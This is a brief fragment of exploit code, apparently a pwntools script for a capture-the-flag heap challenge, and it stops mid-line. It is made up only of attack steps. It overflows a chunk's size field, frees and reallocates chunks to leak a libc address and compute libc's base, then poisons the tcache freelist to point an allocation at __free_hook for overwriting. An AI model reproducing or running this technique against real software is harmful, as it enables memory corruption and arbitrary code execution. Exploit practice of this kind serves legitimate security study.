add(0x88,b"a"*0x80+p64(0x4c0))# 0 dele(2) add(0x420)# 1 m=show(0) libc_base=u64_ex(m)-0x3ebca0 log_libc_base_addr(libc_base) libc.address=libc_base add(0x80)# 2 dele(0) dele(2) add(0x80,p64(libc.sym['__free_hook'])) add(0x80) add(0x80,p64(libc_base+li...